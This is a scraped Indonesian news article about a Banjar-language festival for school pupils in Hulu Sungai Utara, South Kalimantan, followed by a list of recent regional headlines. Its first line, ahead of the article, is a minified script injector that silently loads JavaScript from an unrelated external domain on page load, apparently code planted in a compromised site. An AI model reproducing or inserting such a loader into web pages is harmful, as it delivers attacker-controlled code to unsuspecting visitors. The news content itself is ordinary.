(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kabupaten Hulu Sungai Utara

“Bahasa Banjar, Bahasa Banua Kita” Disdikbud HSU Gelar Festival Bahasa Tunas Ibu Khusus Pelajar


KANALKALIMANTAN.COM, AMUNTAI – Mengusung tema “Bahasa Banjar, Bahasa Banua Kita”, Dinas Pendidikan dan Kebudayaan (Disdikbud) Kabupaten Hulu Sungai Utara (HSU) menggelar lomba Festival Tunas Bahasa Ibu (FTBI) pelajar SD dan SMP se Kabupaten HSU, di aula Ki Hajar Dewantara, Disdikbud HSU, 11-12 Oktober 2023.

Kegiatan ini merupakan rangkaian revitalisasi daerah dari Balai Bahasa Provinsi Kalimantan Selatan. Dan FTBI merupakan kegiatan puncak revitalisasi bahasa yang merupakan program merdeka belajar.

Beberapa lomba dalam FTBI tersebut diantaranya, komedi tunggal atau stand up comedy tingkat SD, bakisah bahasa banjar tingkat SD dan SMP, menulis dan membaca puisi bahasa banjar tingkat SD, pidato bahasa banjar tingkat SD dan SMP serta cerpen bahasa banjar tingkat SD dan SMP.

Baca juga: Mahasiswa Bergerak Cari Gubernur Sahbirin, Sebut Karhutla Bencana Rutin Tahunan Kalsel

 

Kepala Disdikbud HSU, Jumadi mengatakan, FTBI ini merupakan salah satu untuk meningkatkan kemampuan dan pengetahuan anak – anak daerah terutama dalam hal pengembangan dan penguatan bahasa daerah khususnya Bahasa Banjar.

“Di Kalsel ini ada tiga bahasa daerah yang semestinya kita tahu yaitu bahasa Banjar Hilir, Banjar Hulu dan Banjar Batang Banyu dalam satu rumpun bahasa, bahasa bukit dipakai orang pedalaman atau pengunungan seperti Loksado dan Meratus serta Bahasa Bakumpai dipakai sepanjang aliran Sungai Barito mulai dari Anjir sampai ke Muara Teweh,” jelasnya saat membuka kegiatan.

Jumadi berharap, kegiatan ini dapat melestarikan bahasa daerah khususnya Bahasa Banjar sampai ke generasi Z.

Baca juga: Dua Kali Api Berkobar dalam Satu Malam di Banjarmasin

Kepala Bidang Kebudayaan Disdikbud HSU, Hj Rahmawati menyebut tujuan kegiatan lomba FTBI ini adalah untuk melindungi bahasa daerah agar tidak mengalami kepunahan, oleh karena itu Bahasa Banjar merupakan warisan budaya yang perlu dilestarikan.

“Untuk pemenang lomba FTBI nantinya akan di lombakan lagi di tingkat provinsi yang di selenggarakan oleh balai bahasa provinsi Kalimantan Selatan,” tutupnya.(Kanalkalimantan.com/dew)

Reporter : dew
Editor : bie


Risa

Recent Posts

25 Anggota PPK Kota Banjarbaru Dilantik, Langsung Bekerja Membentuk Sekretariat

KANALKALIMANTAN.COM, BANJARBARU - Komisi Pemilihan Umum (KPU) Kota Banjarbaru resmi melantik 25 orang anggota Panitia… Read More

3 jam ago

Kearifan Lokal Kalsel Harus Dibaca dan Ditulis Generasi Muda

KANALKALIMANTAN.COM, BANJARMASIN - Dinas Perpustakaan dan Kearsipan Provinsi Kalimantan Selatan (Kalsel) menggelar acara sosialisasi budaya… Read More

14 jam ago

Sekda HSU Sampaikan Raperda Pertanggungjawaban Pelaksanaan APBD 2023, Ini Angka Detailnya

KANALKALIMANTAN.COM, AMUNTAI - Sekretaris Daerah (Sekda) Hulu Sungai Utara (HSU) Adi Lesmana menyebut capaian target… Read More

16 jam ago

Permudah Kebutuhan Transaksi Jemaah Haji di Tanah Suci dengan BRImo

KANALKALIMANTAN.COM- Ibadah haji merupakan salah satu impian bagi umat Islam di seluruh dunia. Agar ibadah… Read More

16 jam ago

Bawaslu Banjarbaru Seleksi Panwascam Hanya di Empat Kecamatan

KANALKALIMANTAN.COM, BANJARBARU - Badan Pengawas Pemilihan Umum (Bawaslu) Kota Banjarbaru tengah merekrut Panitia Pengawas Kecamatan… Read More

16 jam ago

Pemko Banjarbaru Bentuk Tim Desk Pilkada 2024

KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kota (Pemko) Banjarbaru Provinsi Kalimantan Selatan (Kalsel) membentuk Tim Desk Pilkada… Read More

18 jam ago

This website uses cookies.